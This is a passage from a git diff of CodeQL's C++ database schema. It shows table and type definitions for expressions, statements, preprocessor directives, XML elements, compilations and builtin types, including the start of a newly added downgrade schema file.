+| 306 = @hasnothrowmoveassignexpr
+| 307 = @isconstructibleexpr
+| 308 = @isnothrowconstructibleexpr
+| 309 = @hasfinalizerexpr
+| 310 = @isdelegateexpr
+| 311 = @isinterfaceclassexpr
+| 312 = @isrefarrayexpr
+| 313 = @isrefclassexpr
+| 314 = @issealedexpr
+| 315 = @issimplevalueclassexpr
+| 316 = @isvalueclassexpr
+| 317 = @isfinalexpr
+| 319 = @noexceptexpr
+| 320 = @builtinshufflevector
+| 321 = @builtinchooseexpr
+| 322 = @builtinaddressof
+| 323 = @vec_fill
+| 324 = @builtinconvertvector
+| 325 = @builtincomplex
+| 326 = @spaceshipexpr
+| 327 = @co_await
+| 328 = @co_yield
+| 329 = @temp_init
+| 330 = @isassignable
+| 331 = @isaggregate
+| 332 = @hasuniqueobjectrepresentations
+| 333 = @builtinbitcast
+| 334 = @builtinshuffle
+| 335 = @blockassignexpr
+| 336 = @issame
+| 337 = @isfunction
+| 338 = @islayoutcompatible
+| 339 = @ispointerinterconvertiblebaseof
+| 340 = @isarray
+| 341 = @arrayrank
+| 342 = @arrayextent
+| 343 = @isarithmetic
+| 344 = @iscompletetype
+| 345 = @iscompound
+| 346 = @isconst
+| 347 = @isfloatingpoint
+| 348 = @isfundamental
+| 349 = @isintegral
+| 350 = @islvaluereference
+| 351 = @ismemberfunctionpointer
+| 352 = @ismemberobjectpointer
+| 353 = @ismemberpointer
+| 354 = @isobject
+| 355 = @ispointer
+| 356 = @isreference
+| 357 = @isrvaluereference
+| 358 = @isscalar
+| 359 = @issigned
+| 360 = @isunsigned
+| 361 = @isvoid
+| 362 = @isvolatile
+| 363 = @reuseexpr
+| 364 = @istriviallycopyassignable
+| 365 = @isassignablenopreconditioncheck
+| 366 = @referencebindstotemporary
+| 367 = @issameas
+| 368 = @builtinhasattribute
+| 369 = @ispointerinterconvertiblewithclass
+| 370 = @builtinispointerinterconvertiblewithclass
+| 371 = @iscorrespondingmember
+| 372 = @builtiniscorrespondingmember
+| 373 = @isboundedarray
+| 374 = @isunboundedarray
+| 375 = @isreferenceable
+| 378 = @isnothrowconvertible
+| 379 = @referenceconstructsfromtemporary
+| 380 = @referenceconvertsfromtemporary
+| 381 = @isconvertible
+| 382 = @isvalidwinrttype
+| 383 = @iswinclass
+| 384 = @iswininterface
+| 385 = @istriviallyequalitycomparable
+| 386 = @isscopedenum
+| 387 = @istriviallyrelocatable
+| 388 = @datasizeof
+| 389 = @c11_generic
+| 390 = @requires_expr
+| 391 = @nested_requirement
+| 392 = @compound_requirement
+| 393 = @concept_id
+;
+
+@var_args_expr = @vastartexpr
+ | @vaendexpr
+ | @vaargexpr
+ | @vacopyexpr
+ ;
+
+@builtin_op = @var_args_expr
+ | @noopexpr
+ | @offsetofexpr
+ | @intaddrexpr
+ | @hasassignexpr
+ | @hascopyexpr
+ | @hasnothrowassign
+ | @hasnothrowconstr
+ | @hasnothrowcopy
+ | @hastrivialassign
+ | @hastrivialconstr
+ | @hastrivialcopy
+ | @hastrivialdestructor
+ | @hasuserdestr
+ | @hasvirtualdestr
+ | @isabstractexpr
+ | @isbaseofexpr
+ | @isclassexpr
+ | @isconvtoexpr
+ | @isemptyexpr
+ | @isenumexpr
+ | @ispodexpr
+ | @ispolyexpr
+ | @isunionexpr
+ | @typescompexpr
+ | @builtinshufflevector
+ | @builtinconvertvector
+ | @builtinaddressof
+ | @istriviallyconstructibleexpr
+ | @isdestructibleexpr
+ | @isnothrowdestructibleexpr
+ | @istriviallydestructibleexpr
+ | @istriviallyassignableexpr
+ | @isnothrowassignableexpr
+ | @istrivialexpr
+ | @isstandardlayoutexpr
+ | @istriviallycopyableexpr
+ | @isliteraltypeexpr
+ | @hastrivialmoveconstructorexpr
+ | @hastrivialmoveassignexpr
+ | @hasnothrowmoveassignexpr
+ | @isconstructibleexpr
+ | @isnothrowconstructibleexpr
+ | @hasfinalizerexpr
+ | @isdelegateexpr
+ | @isinterfaceclassexpr
+ | @isrefarrayexpr
+ | @isrefclassexpr
+ | @issealedexpr
+ | @issimplevalueclassexpr
+ | @isvalueclassexpr
+ | @isfinalexpr
+ | @builtinchooseexpr
+ | @builtincomplex
+ | @isassignable
+ | @isaggregate
+ | @hasuniqueobjectrepresentations
+ | @builtinbitcast
+ | @builtinshuffle
+ | @issame
+ | @isfunction
+ | @islayoutcompatible
+ | @ispointerinterconvertiblebaseof
+ | @isarray
+ | @arrayrank
+ | @arrayextent
+ | @isarithmetic
+ | @iscompletetype
+ | @iscompound
+ | @isconst
+ | @isfloatingpoint
+ | @isfundamental
+ | @isintegral
+ | @islvaluereference
+ | @ismemberfunctionpointer
+ | @ismemberobjectpointer
+ | @ismemberpointer
+ | @isobject
+ | @ispointer
+ | @isreference
+ | @isrvaluereference
+ | @isscalar
+ | @issigned
+ | @isunsigned
+ | @isvoid
+ | @isvolatile
+ | @istriviallycopyassignable
+ | @isassignablenopreconditioncheck
+ | @referencebindstotemporary
+ | @issameas
+ | @builtinhasattribute
+ | @ispointerinterconvertiblewithclass
+ | @builtinispointerinterconvertiblewithclass
+ | @iscorrespondingmember
+ | @builtiniscorrespondingmember
+ | @isboundedarray
+ | @isunboundedarray
+ | @isreferenceable
+ | @isnothrowconvertible
+ | @referenceconstructsfromtemporary
+ | @referenceconvertsfromtemporary
+ | @isconvertible
+ | @isvalidwinrttype
+ | @iswinclass
+ | @iswininterface
+ | @istriviallyequalitycomparable
+ | @isscopedenum
+ | @istriviallyrelocatable
+ ;
+
+compound_requirement_is_noexcept(
+ int expr: @compound_requirement ref
+);
+
+new_allocated_type(
+ unique int expr: @new_expr ref,
+ int type_id: @type ref
+);
+
+new_array_allocated_type(
+ unique int expr: @new_array_expr ref,
+ int type_id: @type ref
+);
+
+/**
+ * The field being initialized by an initializer expression within an aggregate
+ * initializer for a class/struct/union. Position is used to sort repeated initializers.
+ */
+#keyset[aggregate, position]
+aggregate_field_init(
+ int aggregate: @aggregateliteral ref,
+ int initializer: @expr ref,
+ int field: @membervariable ref,
+ int position: int ref,
+ boolean is_designated: boolean ref
+);
+
+/**
+ * The index of the element being initialized by an initializer expression
+ * within an aggregate initializer for an array. Position is used to sort repeated initializers.
+ */
+#keyset[aggregate, position]
+aggregate_array_init(
+ int aggregate: @aggregateliteral ref,
+ int initializer: @expr ref,
+ int element_index: int ref,
+ int position: int ref,
+ boolean is_designated: boolean ref
+);
+
+@ctorinit = @ctordirectinit
+ | @ctorvirtualinit
+ | @ctorfieldinit
+ | @ctordelegatinginit;
+@dtordestruct = @dtordirectdestruct
+ | @dtorvirtualdestruct
+ | @dtorfielddestruct;
+
+
+condition_decl_bind(
+ unique int expr: @condition_decl ref,
+ unique int decl: @declaration ref
+);
+
+typeid_bind(
+ unique int expr: @type_id ref,
+ int type_id: @type ref
+);
+
+uuidof_bind(
+ unique int expr: @uuidof ref,
+ int type_id: @type ref
+);
+
+@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack;
+
+sizeof_bind(
+ unique int expr: @sizeof_or_alignof ref,
+ int type_id: @type ref
+);
+
+code_block(
+ unique int block: @literal ref,
+ unique int routine: @function ref
+);
+
+lambdas(
+ unique int expr: @lambdaexpr ref,
+ string default_capture: string ref,
+ boolean has_explicit_return_type: boolean ref
+);
+
+lambda_capture(
+ unique int id: @lambdacapture,
+ int lambda: @lambdaexpr ref,
+ int index: int ref,
+ int field: @membervariable ref,
+ boolean captured_by_reference: boolean ref,
+ boolean is_implicit: boolean ref,
+ int location: @location_default ref
+);
+
+@funbindexpr = @routineexpr
+ | @new_expr
+ | @delete_expr
+ | @delete_array_expr
+ | @ctordirectinit
+ | @ctorvirtualinit
+ | @ctordelegatinginit
+ | @dtordirectdestruct
+ | @dtorvirtualdestruct;
+
+@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct;
+@addressable = @function | @variable ;
+@accessible = @addressable | @enumconstant ;
+
+@access = @varaccess | @routineexpr ;
+
+fold(
+ int expr: @foldexpr ref,
+ string operator: string ref,
+ boolean is_left_fold: boolean ref
+);
+
+stmts(
+ unique int id: @stmt,
+ int kind: int ref,
+ int location: @location_stmt ref
+);
+
+case @stmt.kind of
+ 1 = @stmt_expr
+| 2 = @stmt_if
+| 3 = @stmt_while
+| 4 = @stmt_goto
+| 5 = @stmt_label
+| 6 = @stmt_return
+| 7 = @stmt_block
+| 8 = @stmt_end_test_while // do { ... } while ( ... )
+| 9 = @stmt_for
+| 10 = @stmt_switch_case
+| 11 = @stmt_switch
+| 13 = @stmt_asm // "asm" statement or the body of an asm function
+| 15 = @stmt_try_block
+| 16 = @stmt_microsoft_try // Microsoft
+| 17 = @stmt_decl
+| 18 = @stmt_set_vla_size // C99
+| 19 = @stmt_vla_decl // C99
+| 25 = @stmt_assigned_goto // GNU
+| 26 = @stmt_empty
+| 27 = @stmt_continue
+| 28 = @stmt_break
+| 29 = @stmt_range_based_for // C++11
+// ... 30 @stmt_at_autoreleasepool_block deprecated
+// ... 31 @stmt_objc_for_in deprecated
+// ... 32 @stmt_at_synchronized deprecated
+| 33 = @stmt_handler
+// ... 34 @stmt_finally_end deprecated
+| 35 = @stmt_constexpr_if
+| 37 = @stmt_co_return
+| 38 = @stmt_consteval_if
+| 39 = @stmt_not_consteval_if
+;
+
+type_vla(
+ int type_id: @type ref,
+ int decl: @stmt_vla_decl ref
+);
+
+variable_vla(
+ int var: @variable ref,
+ int decl: @stmt_vla_decl ref
+);
+
+type_is_vla(unique int type_id: @derivedtype ref)
+
+if_initialization(
+ unique int if_stmt: @stmt_if ref,
+ int init_id: @stmt ref
+);
+
+if_then(
+ unique int if_stmt: @stmt_if ref,
+ int then_id: @stmt ref
+);
+
+if_else(
+ unique int if_stmt: @stmt_if ref,
+ int else_id: @stmt ref
+);
+
+constexpr_if_initialization(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int init_id: @stmt ref
+);
+
+constexpr_if_then(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int then_id: @stmt ref
+);
+
+constexpr_if_else(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int else_id: @stmt ref
+);
+
+@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if;
+
+consteval_if_then(
+ unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref,
+ int then_id: @stmt ref
+);
+
+consteval_if_else(
+ unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref,
+ int else_id: @stmt ref
+);
+
+while_body(
+ unique int while_stmt: @stmt_while ref,
+ int body_id: @stmt ref
+);
+
+do_body(
+ unique int do_stmt: @stmt_end_test_while ref,
+ int body_id: @stmt ref
+);
+
+switch_initialization(
+ unique int switch_stmt: @stmt_switch ref,
+ int init_id: @stmt ref
+);
+
+#keyset[switch_stmt, index]
+switch_case(
+ int switch_stmt: @stmt_switch ref,
+ int index: int ref,
+ int case_id: @stmt_switch_case ref
+);
+
+switch_body(
+ unique int switch_stmt: @stmt_switch ref,
+ int body_id: @stmt ref
+);
+
+@stmt_for_or_range_based_for = @stmt_for
+ | @stmt_range_based_for;
+
+for_initialization(
+ unique int for_stmt: @stmt_for_or_range_based_for ref,
+ int init_id: @stmt ref
+);
+
+for_condition(
+ unique int for_stmt: @stmt_for ref,
+ int condition_id: @expr ref
+);
+
+for_update(
+ unique int for_stmt: @stmt_for ref,
+ int update_id: @expr ref
+);
+
+for_body(
+ unique int for_stmt: @stmt_for ref,
+ int body_id: @stmt ref
+);
+
+@stmtparent = @stmt | @expr_stmt ;
+stmtparents(
+ unique int id: @stmt ref,
+ int index: int ref,
+ int parent: @stmtparent ref
+);
+
+ishandler(unique int block: @stmt_block ref);
+
+@cfgnode = @stmt | @expr | @function | @initialiser ;
+
+stmt_decl_bind(
+ int stmt: @stmt_decl ref,
+ int num: int ref,
+ int decl: @declaration ref
+);
+
+stmt_decl_entry_bind(
+ int stmt: @stmt_decl ref,
+ int num: int ref,
+ int decl_entry: @element ref
+);
+
+@parameterized_element = @function | @stmt_block | @requires_expr;
+
+blockscope(
+ unique int block: @stmt_block ref,
+ int enclosing: @parameterized_element ref
+);
+
+@jump = @stmt_goto | @stmt_break | @stmt_continue;
+
+@jumporlabel = @jump | @stmt_label | @literal;
+
+jumpinfo(
+ unique int id: @jumporlabel ref,
+ string str: string ref,
+ int target: @stmt ref
+);
+
+preprocdirects(
+ unique int id: @preprocdirect,
+ int kind: int ref,
+ int location: @location_default ref
+);
+case @preprocdirect.kind of
+ 0 = @ppd_if
+| 1 = @ppd_ifdef
+| 2 = @ppd_ifndef
+| 3 = @ppd_elif
+| 4 = @ppd_else
+| 5 = @ppd_endif
+| 6 = @ppd_plain_include
+| 7 = @ppd_define
+| 8 = @ppd_undef
+| 9 = @ppd_line
+| 10 = @ppd_error
+| 11 = @ppd_pragma
+| 12 = @ppd_objc_import
+| 13 = @ppd_include_next
+| 14 = @ppd_ms_import
+| 15 = @ppd_elifdef
+| 16 = @ppd_elifndef
+| 18 = @ppd_warning
+;
+
+@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import;
+
+@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef;
+
+preprocpair(
+ int begin : @ppd_branch ref,
+ int elseelifend : @preprocdirect ref
+);
+
+preproctrue(int branch : @ppd_branch ref);
+preprocfalse(int branch : @ppd_branch ref);
+
+preproctext(
+ unique int id: @preprocdirect ref,
+ string head: string ref,
+ string body: string ref
+);
+
+includes(
+ unique int id: @ppd_include ref,
+ int included: @file ref
+);
+
+link_targets(
+ int id: @link_target,
+ int binary: @file ref
+);
+
+link_parent(
+ int element : @element ref,
+ int link_target : @link_target ref
+);
+
+/* XML Files */
+
+xmlEncoding(unique int id: @file ref, string encoding: string ref);
+
+xmlDTDs(
+ unique int id: @xmldtd,
+ string root: string ref,
+ string publicId: string ref,
+ string systemId: string ref,
+ int fileid: @file ref
+);
+
+xmlElements(
+ unique int id: @xmlelement,
+ string name: string ref,
+ int parentid: @xmlparent ref,
+ int idx: int ref,
+ int fileid: @file ref
+);
+
+xmlAttrs(
+ unique int id: @xmlattribute,
+ int elementid: @xmlelement ref,
+ string name: string ref,
+ string value: string ref,
+ int idx: int ref,
+ int fileid: @file ref
+);
+
+xmlNs(
+ int id: @xmlnamespace,
+ string prefixName: string ref,
+ string URI: string ref,
+ int fileid: @file ref
+);
+
+xmlHasNs(
+ int elementId: @xmlnamespaceable ref,
+ int nsId: @xmlnamespace ref,
+ int fileid: @file ref
+);
+
+xmlComments(
+ unique int id: @xmlcomment,
+ string text: string ref,
+ int parentid: @xmlparent ref,
+ int fileid: @file ref
+);
+
+xmlChars(
+ unique int id: @xmlcharacters,
+ string text: string ref,
+ int parentid: @xmlparent ref,
+ int idx: int ref,
+ int isCDATA: int ref,
+ int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+ int xmlElement: @xmllocatable ref,
+ int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters
+ | @xmlelement
+ | @xmlcomment
+ | @xmlattribute
+ | @xmldtd
+ | @file
+ | @xmlnamespace;
diff --git a/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme
new file mode 100644
index 00000000000..9a7c3c14c10
--- /dev/null
+++ b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme
@@ -0,0 +1,2491 @@
+
+/**
+ * An invocation of the compiler. Note that more than one file may be
+ * compiled per invocation. For example, this command compiles three
+ * source files:
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * The `id` simply identifies the invocation, while `cwd` is the working
+ * directory from which the compiler was invoked.
+ */
+compilations(
+ /**
+ * An invocation of the compiler. Note that more than one file may
+ * be compiled per invocation. For example, this command compiles
+ * three source files:
+ *
+ * gcc -c f1.c f2.c f3.c
+ */
+ unique int id : @compilation,
+ string cwd : string ref
+);
+
+/**
+ * The arguments that were passed to the extractor for a compiler
+ * invocation. If `id` is for the compiler invocation
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * then typically there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0 | *path to extractor*
+ * 1 | `--mimic`
+ * 2 | `/usr/bin/gcc`
+ * 3 | `-c`
+ * 4 | f1.c
+ * 5 | f2.c
+ * 6 | f3.c
+ */
+#keyset[id, num]
+compilation_args(
+ int id : @compilation ref,
+ int num : int ref,
+ string arg : string ref
+);
+
+/**
+ * Optionally, record the build mode for each compilation.
+ */
+compilation_build_mode(
+ unique int id : @compilation ref,
+ int mode : int ref
+);
+
+/*
+case @compilation_build_mode.mode of
+ 0 = @build_mode_none
+| 1 = @build_mode_manual
+| 2 = @build_mode_auto
+;
+*/
+
+/**
+ * The source files that are compiled by a compiler invocation.
+ * If `id` is for the compiler invocation
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * then there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0 | f1.c
+ * 1 | f2.c
+ * 2 | f3.c
+ *
+ * Note that even if those files `#include` headers, those headers
+ * do not appear as rows.
+ */
+#keyset[id, num]
+compilation_compiling_files(
+ int id : @compilation ref,
+ int num : int ref,
+ int file : @file ref
+);
+
+/**
+ * The time taken by the extractor for a compiler invocation.
+ *
+ * For each file `num`, there will be rows for
+ *
+ * kind | seconds
+ * ---- | ---
+ * 1 | CPU seconds used by the extractor frontend
+ * 2 | Elapsed seconds during the extractor frontend
+ * 3 | CPU seconds used by the extractor backend
+ * 4 | Elapsed seconds during the extractor backend
+ */
+#keyset[id, num, kind]
+compilation_time(
+ int id : @compilation ref,
+ int num : int ref,
+ /* kind:
+ 1 = frontend_cpu_seconds
+ 2 = frontend_elapsed_seconds
+ 3 = extractor_cpu_seconds
+ 4 = extractor_elapsed_seconds
+ */
+ int kind : int ref,
+ float seconds : float ref
+);
+
+/**
+ * An error or warning generated by the extractor.
+ * The diagnostic message `diagnostic` was generated during compiler
+ * invocation `compilation`, and is the `file_number_diagnostic_number`th
+ * message generated while extracting the `file_number`th file of that
+ * invocation.
+ */
+#keyset[compilation, file_number, file_number_diagnostic_number]
+diagnostic_for(
+ int diagnostic : @diagnostic ref,
+ int compilation : @compilation ref,
+ int file_number : int ref,
+ int file_number_diagnostic_number : int ref
+);
+
+/**
+ * If extraction was successful, then `cpu_seconds` and
+ * `elapsed_seconds` are the CPU time and elapsed time (respectively)
+ * that extraction took for compiler invocation `id`.
+ */
+compilation_finished(
+ unique int id : @compilation ref,
+ float cpu_seconds : float ref,
+ float elapsed_seconds : float ref
+);
+
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+ int id : @externalDataElement,
+ string path : string ref,
+ int column: int ref,
+ string value : string ref
+);
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/**
+ * Information about packages that provide code used during compilation.
+ * The `id` is just a unique identifier.
+ * The `namespace` is typically the name of the package manager that
+ * provided the package (e.g. "dpkg" or "yum").
+ * The `package_name` is the name of the package, and `version` is its
+ * version (as a string).
+ */
+external_packages(
+ unique int id: @external_package,
+ string namespace : string ref,
+ string package_name : string ref,
+ string version : string ref
+);
+
+/**
+ * Holds if File `fileid` was provided by package `package`.
+ */
+header_to_external_package(
+ int fileid : @file ref,
+ int package : @external_package ref
+);
+
+/*
+ * Version history
+ */
+
+svnentries(
+ unique int id : @svnentry,
+ string revision : string ref,
+ string author : string ref,
+ date revisionDate : date ref,
+ int changeSize : int ref
+)
+
+svnaffectedfiles(
+ int id : @svnentry ref,
+ int file : @file ref,
+ string action : string ref
+)
+
+svnentrymsg(
+ unique int id : @svnentry ref,
+ string message : string ref
+)
+
+svnchurn(
+ int commit : @svnentry ref,
+ int file : @file ref,
+ int addedLines : int ref,
+ int deletedLines : int ref
+)
+
+/*
+ * C++ dbscheme
+ */
+
+extractor_version(
+ string codeql_version: string ref,
+ string frontend_version: string ref
+)
+
+@location = @location_stmt | @location_expr | @location_default ;
+
+/**
+ * The location of an element that is not an expression or a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+ /** The location of an element that is not an expression or a statement. */
+ unique int id: @location_default,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/**
+ * The location of a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_stmt(
+ /** The location of a statement. */
+ unique int id: @location_stmt,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/**
+ * The location of an expression.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_expr(
+ /** The location of an expression. */
+ unique int id: @location_expr,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/** An element for which line-count information is available. */
+@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable;
+
+numlines(
+ int element_id: @sourceline ref,
+ int num_lines: int ref,
+ int num_code: int ref,
+ int num_comment: int ref
+);
+
+diagnostics(
+ unique int id: @diagnostic,
+ int severity: int ref,
+ string error_tag: string ref,
+ string error_message: string ref,
+ string full_error_message: string ref,
+ int location: @location_default ref
+);
+
+files(
+ unique int id: @file,
+ string name: string ref
+);
+
+folders(
+ unique int id: @folder,
+ string name: string ref
+);
+
+@container = @folder | @file
+
+containerparent(
+ int parent: @container ref,
+ unique int child: @container ref
+);
+
+fileannotations(
+ int id: @file ref,
+ int kind: int ref,
+ string name: string ref,
+ string value: string ref
+);
+
+inmacroexpansion(
+ int id: @element ref,
+ int inv: @macroinvocation ref
+);
+
+affectedbymacroexpansion(
+ int id: @element ref,
+ int inv: @macroinvocation ref
+);
+
+case @macroinvocation.kind of
+ 1 = @macro_expansion
+| 2 = @other_macro_reference
+;
+
+macroinvocations(
+ unique int id: @macroinvocation,
+ int macro_id: @ppd_define ref,
+ int location: @location_default ref,
+ int kind: int ref
+);
+
+macroparent(
+ unique int id: @macroinvocation ref,
+ int parent_id: @macroinvocation ref
+);
+
+// a macroinvocation may be part of another location
+// the way to find a constant expression that uses a macro
+// is thus to find a constant expression that has a location
+// to which a macro invocation is bound
+macrolocationbind(
+ int id: @macroinvocation ref,
+ int location: @location ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_unexpanded(
+ int invocation: @macroinvocation ref,
+ int argument_index: int ref,
+ string text: string ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_expanded(
+ int invocation: @macroinvocation ref,
+ int argument_index: int ref,
+ string text: string ref
+);
+
+/*
+case @function.kind of
+ 1 = @normal_function
+| 2 = @constructor
+| 3 = @destructor
+| 4 = @conversion_function
+| 5 = @operator
+| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk
+| 7 = @user_defined_literal
+| 8 = @deduction_guide
+;
+*/
+
+functions(
+ unique int id: @function,
+ string name: string ref,
+ int kind: int ref
+);
+
+function_entry_point(
+ int id: @function ref,
+ unique int entry_point: @stmt ref
+);
+
+function_return_type(
+ int id: @function ref,
+ int return_type: @type ref
+);
+
+/**
+ * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits`
+ * instance associated with it, and the variables representing the `handle` and `promise`
+ * for it.
+ */
+coroutine(
+ unique int function: @function ref,
+ int traits: @type ref
+);
+
+/*
+case @coroutine_placeholder_variable.kind of
+ 1 = @handle
+| 2 = @promise
+| 3 = @init_await_resume
+;
+*/
+
+coroutine_placeholder_variable(
+ unique int placeholder_variable: @variable ref,
+ int kind: int ref,
+ int function: @function ref
+)
+
+/** The `new` function used for allocating the coroutine state, if any. */
+coroutine_new(
+ unique int function: @function ref,
+ int new: @function ref
+);
+
+/** The `delete` function used for deallocating the coroutine state, if any. */
+coroutine_delete(
+ unique int function: @function ref,
+ int delete: @function ref
+);
+
+purefunctions(unique int id: @function ref);
+
+function_deleted(unique int id: @function ref);
+
+function_defaulted(unique int id: @function ref);
+
+function_prototyped(unique int id: @function ref)
+
+deduction_guide_for_class(
+ int id: @function ref,
+ int class_template: @usertype ref
+)
+
+member_function_this_type(
+ unique int id: @function ref,
+ int this_type: @type ref
+);
+
+#keyset[id, type_id]
+fun_decls(
+ int id: @fun_decl,
+ int function: @function ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+fun_def(unique int id: @fun_decl ref);
+fun_specialized(unique int id: @fun_decl ref);
+fun_implicit(unique int id: @fun_decl ref);
+fun_decl_specifiers(
+ int id: @fun_decl ref,
+ string name: string ref
+)
+#keyset[fun_decl, index]
+fun_decl_throws(
+ int fun_decl: @fun_decl ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+/* an empty throw specification is different from none */
+fun_decl_empty_throws(unique int fun_decl: @fun_decl ref);
+fun_decl_noexcept(
+ int fun_decl: @fun_decl ref,
+ int constant: @expr ref
+);
+fun_decl_empty_noexcept(int fun_decl: @fun_decl ref);
+fun_decl_typedef_type(
+ unique int fun_decl: @fun_decl ref,
+ int typedeftype_id: @usertype ref
+);
+
+/*
+case @fun_requires.kind of
+ 1 = @template_attached
+| 2 = @function_attached
+;
+*/
+
+fun_requires(
+ int id: @fun_decl ref,
+ int kind: int ref,
+ int constraint: @expr ref
+);
+
+param_decl_bind(
+ unique int id: @var_decl ref,
+ int index: int ref,
+ int fun_decl: @fun_decl ref
+);
+
+#keyset[id, type_id]
+var_decls(
+ int id: @var_decl,
+ int variable: @variable ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+var_def(unique int id: @var_decl ref);
+var_specialized(int id: @var_decl ref);
+var_decl_specifiers(
+ int id: @var_decl ref,
+ string name: string ref
+)
+is_structured_binding(unique int id: @variable ref);
+var_requires(
+ int id: @var_decl ref,
+ int constraint: @expr ref
+);
+
+type_decls(
+ unique int id: @type_decl,
+ int type_id: @type ref,
+ int location: @location_default ref
+);
+type_def(unique int id: @type_decl ref);
+type_decl_top(
+ unique int type_decl: @type_decl ref
+);
+type_requires(
+ int id: @type_decl ref,
+ int constraint: @expr ref
+);
+
+namespace_decls(
+ unique int id: @namespace_decl,
+ int namespace_id: @namespace ref,
+ int location: @location_default ref,
+ int bodylocation: @location_default ref
+);
+
+case @using.kind of
+ 1 = @using_declaration
+| 2 = @using_directive
+| 3 = @using_enum_declaration
+;
+
+usings(
+ unique int id: @using,
+ int element_id: @element ref,
+ int location: @location_default ref,
+ int kind: int ref
+);
+
+/** The element which contains the `using` declaration. */
+using_container(
+ int parent: @element ref,
+ int child: @using ref
+);
+
+static_asserts(
+ unique int id: @static_assert,
+ int condition : @expr ref,
+ string message : string ref,
+ int location: @location_default ref,
+ int enclosing : @element ref
+);
+
+// each function has an ordered list of parameters
+#keyset[id, type_id]
+#keyset[function, index, type_id]
+params(
+ int id: @parameter,
+ int function: @parameterized_element ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+
+overrides(
+ int new: @function ref,
+ int old: @function ref
+);
+
+#keyset[id, type_id]
+membervariables(
+ int id: @membervariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+#keyset[id, type_id]
+globalvariables(
+ int id: @globalvariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+#keyset[id, type_id]
+localvariables(
+ int id: @localvariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+autoderivation(
+ unique int var: @variable ref,
+ int derivation_type: @type ref
+);
+
+orphaned_variables(
+ int var: @localvariable ref,
+ int function: @function ref
+)
+
+enumconstants(
+ unique int id: @enumconstant,
+ int parent: @usertype ref,
+ int index: int ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+
+@variable = @localscopevariable | @globalvariable | @membervariable;
+
+@localscopevariable = @localvariable | @parameter;
+
+/**
+ * Built-in types are the fundamental types, e.g., integral, floating, and void.
+ */
+case @builtintype.kind of
+ 1 = @errortype
+| 2 = @unknowntype
+| 3 = @void
+| 4 = @boolean
+| 5 = @char
+| 6 = @unsigned_char
+| 7 = @signed_char
+| 8 = @short
+| 9 = @unsigned_short
+| 10 = @signed_short
+| 11 = @int
+| 12 = @unsigned_int
+| 13 = @signed_int
+| 14 = @long
+| 15 = @unsigned_long
+| 16 = @signed_long
+| 17 = @long_long
+| 18 = @unsigned_long_long
+| 19 = @signed_long_long
+// ... 20 Microsoft-specific __int8
+// ... 21 Microsoft-specific __int16
+// ... 22 Microsoft-specific __int32
+// ... 23 Microsoft-specific __int64
+| 24 = @float
+| 25 = @double
+| 26 = @long_double
+| 27 = @complex_float // C99-specific _Complex float
+| 28 = @complex_double // C99-specific _Complex double
+| 29 = @complex_long_double // C99-specific _Complex long double
+| 30 = @imaginary_float // C99-specific _Imaginary float
+| 31 = @imaginary_double // C99-specific _Imaginary double
